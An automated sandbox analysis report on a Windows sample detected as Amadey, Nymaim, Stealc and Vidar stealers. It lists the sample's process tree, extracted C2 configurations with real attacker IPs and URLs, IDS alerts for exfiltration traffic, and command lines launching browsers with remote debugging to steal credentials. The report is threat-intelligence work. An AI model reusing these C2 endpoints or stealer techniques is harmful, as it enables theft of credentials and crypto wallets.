Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1563927
MD5:	6de40364436ae2851113ddd37a229f5c
SHA1:	51d27cce4c93fec014d9bd501fe8cfda72b64305
SHA256:	b88425a85c72ab6b674612a789b1946b3c3a1cb0dc4baa65e16e9c2f3725221d
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Nymaim, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Nymaim

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Potentially malicious time measurement code found

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

PE file overlay found

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Sigma detected: Use Short Name Path in Command Line

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 2708 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 6DE40364436AE2851113DDD37A229F5C)

chrome.exe (PID: 7320 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7556 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2296 --field-trial-handle=1964,i,16722737202866624989,9051620058126732953,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 1748 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7752 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2516 --field-trial-handle=2364,i,5434323620471502482,10851786949880937597,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 9004 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsBGDBAKFCFH.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 9012 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsBGDBAKFCFH.exe (PID: 9048 cmdline: "C:\Users\user\DocumentsBGDBAKFCFH.exe" MD5: 97B4FBF9CB7856775C90B74A77FE10DE)

skotes.exe (PID: 2276 cmdline: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 97B4FBF9CB7856775C90B74A77FE10DE)

msedge.exe (PID: 4512 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 3632 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2756 --field-trial-handle=2524,i,15866157190665186616,13992255775072579994,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8204 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6616 --field-trial-handle=2524,i,15866157190665186616,13992255775072579994,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8224 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6924 --field-trial-handle=2524,i,15866157190665186616,13992255775072579994,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8696 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6876 --field-trial-handle=2524,i,15866157190665186616,13992255775072579994,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 8620 cmdline: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 97B4FBF9CB7856775C90B74A77FE10DE)

skotes.exe (PID: 8788 cmdline: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 97B4FBF9CB7856775C90B74A77FE10DE)

unik.exe (PID: 5116 cmdline: "C:\Users\user~1\AppData\Local\Temp\1009625001\unik.exe" MD5: 8D4744784B89BF2C1AFFB083790FDC88)

d4a6d0bce7.exe (PID: 5368 cmdline: "C:\Users\user~1\AppData\Local\Temp\1009635001\d4a6d0bce7.exe" MD5: 748842603D32E03ECDDF19F9DD75EB1D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Nymaim	Nymaim is a trojan downloader. It downloads (and runs) other malware on affected systems and was one of the primary malware families hosted on Avalanche. Nymaim is different in that it displays a localized lockscreen while it downloads additional malware. Nymaim is usually delivered by exploit kits and malvertising.	No Attribution	https://arielkoren.com/blog/2016/11/02/nymaim-deep-technical-dive-adventures-in-evasive-malware/ https://bitbucket.org/daniel_plohmann/idapatchwork https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/goznym/ https://github.com/coldshell/Malware-Scripts/tree/master/Nymaim	https://malpedia.caad.fkie.fraunhofer.de/details/win.nymaim

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Threatname: Nymaim

{"C2 addresses": ["185.156.72.65", "185.156.72.65", "185.156.72.65", "185.156.72.65"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000022.00000002.2537288977.0000000000400000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
00000022.00000003.2356321988.0000000004A30000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0000001C.00000002.1926085427.0000000000381000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000002.1821449773.00000000011EE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001B.00000002.1913348703.0000000000381000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000022.00000002.2554694289.0000000004940000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
00000022.00000002.2554694289.0000000004940000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000001A.00000002.1866951903.0000000000041000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001B.00000003.1872657895.00000000051D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000002.1818898702.00000000005D1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001C.00000003.1885321979.0000000004B70000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000022.00000002.2554372080.00000000047B0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x8436:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000001.00000003.1275692336.0000000004F80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001A.00000003.1824805973.0000000004840000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000020.00000002.2537034040.0000000000381000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000020.00000003.2190575864.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 2708	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 2708	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 2708	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 2708	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 15 entries

Unpacked PEs

Source	Rule	Description	Author
34.2.unik.exe.4940e67.1.raw.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
34.3.unik.exe.4a30000.0.raw.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
34.2.unik.exe.400000.0.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
34.2.unik.exe.400000.0.raw.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
26.2.DocumentsBGDBAKFCFH.exe.40000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
27.2.skotes.exe.380000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
32.2.skotes.exe.380000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
28.2.skotes.exe.380000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 3 entries

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 2708, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 7320, ProcessName: chrome.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" , CommandLine: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" , CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ParentCommandLine: "C:\Users\user\DocumentsBGDBAKFCFH.exe" , ParentImage: C:\Users\user\DocumentsBGDBAKFCFH.exe, ParentProcessId: 9048, ParentProcessName: DocumentsBGDBAKFCFH.exe, ProcessCommandLine: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" , ProcessId: 2276, ProcessName: skotes.exe

Suricata Signatures

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-27T16:36:01.514930+0100	2044696	1	A Network Trojan was detected	192.168.2.7	50072	185.215.113.43	80	TCP
2024-11-27T16:36:14.667168+0100	2044696	1	A Network Trojan was detected	192.168.2.7	50101	185.215.113.43	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-27T16:34:17.509505+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.7	49701	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-27T16:34:17.382060+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.7	49701	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-27T16:34:17.852973+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.7	49701	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-27T16:34:19.561185+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.7	49701	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-27T16:34:18.186028+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.7	49701	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-27T16:34:16.870484+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	49701	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-27T16:35:49.501809+0100	2856147	1	A Network Trojan was detected	192.168.2.7	50041	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-27T16:36:00.137811+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.7	50052	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-27T16:35:54.101070+0100	2803305	3	Unknown Traffic	192.168.2.7	50054	31.41.244.11	80	TCP
2024-11-27T16:36:03.201232+0100	2803305	3	Unknown Traffic	192.168.2.7	50074	31.41.244.11	80	TCP
2024-11-27T16:36:16.316466+0100	2803305	3	Unknown Traffic	192.168.2.7	50108	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-27T16:34:21.033790+0100	2803304	3	Unknown Traffic	192.168.2.7	49701	185.215.113.206	80	TCP
2024-11-27T16:34:44.728003+0100	2803304	3	Unknown Traffic	192.168.2.7	49777	185.215.113.206	80	TCP
2024-11-27T16:34:46.814414+0100	2803304	3	Unknown Traffic	192.168.2.7	49777	185.215.113.206	80	TCP
2024-11-27T16:34:48.169330+0100	2803304	3	Unknown Traffic	192.168.2.7	49777	185.215.113.206	80	TCP
2024-11-27T16:34:49.392208+0100	2803304	3	Unknown Traffic	192.168.2.7	49777	185.215.113.206	80	TCP
2024-11-27T16:34:53.285269+0100	2803304	3	Unknown Traffic	192.168.2.7	49777	185.215.113.206	80	TCP
2024-11-27T16:34:54.639543+0100	2803304	3	Unknown Traffic	192.168.2.7	49777	185.215.113.206	80	TCP
2024-11-27T16:35:00.917956+0100	2803304	3	Unknown Traffic	192.168.2.7	49907	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.156.72.65/add?substr=mixtwo&s=three&sub=nosubl	Avira URL Cloud: Label: malware
Source: http://185.156.72.65/add?substr=mixtwo&s=three&sub=nosubsVF:	Avira URL Cloud: Label: malware
Source: http://185.156.72.65/add?substr=mixtwo&s=three&sub=nosub	Avira URL Cloud: Label: malware
Source: http://185.156.72.65/files/download	Avira URL Cloud: Label: malware

Found malware configuration

Source: 0000001C.00000002.1926085427.0000000000381000.00000040.00000001.01000000.0000000D.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 34.2.unik.exe.4940e67.1.raw.unpack	Malware Configuration Extractor: Nymaim {"C2 addresses": ["185.156.72.65", "185.156.72.65", "185.156.72.65", "185.156.72.65"]}
Source: file.exe.2708.1.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\unik[1].exe	ReversingLabs: Detection: 23%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	ReversingLabs: Detection: 26%
Source: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe	ReversingLabs: Detection: 23%
Source: C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	ReversingLabs: Detection: 26%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE8A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	1_2_6CE8A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE844C0 PK11_PubEncrypt,	1_2_6CE844C0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE84440 PK11_PrivDecrypt,	1_2_6CE84440
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE54420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	1_2_6CE54420
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CED25B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	1_2_6CED25B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE6E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	1_2_6CE6E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE68670 PK11_ExportEncryptedPrivKeyInfo,	1_2_6CE68670
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE8A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	1_2_6CE8A650
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEAA730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	1_2_6CEAA730
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEB0180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	1_2_6CEB0180
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE843B0 PK11_PubEncryptPKCS1,PR_SetError,	1_2_6CE843B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEA7C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	1_2_6CEA7C00
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE67D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	1_2_6CE67D60
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEABD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	1_2_6CEABD30
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEA9EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	1_2_6CEA9EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE83FF0 PK11_PrivDecryptPKCS1,	1_2_6CE83FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE89840 NSS_Get_SECKEY_EncryptedPrivateKeyInfoTemplate,	1_2_6CE89840
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE83850 PK11_Encrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	1_2_6CE83850
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEADA40 SEC_PKCS7ContentIsEncrypted,	1_2_6CEADA40

Source: d4a6d0bce7.exe, 00000024.00000002.2537754878.0000000001350000.00000040.00000001.01000000.0000000F.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_fa3e5292-e

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\Temp\1009625001\unik.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

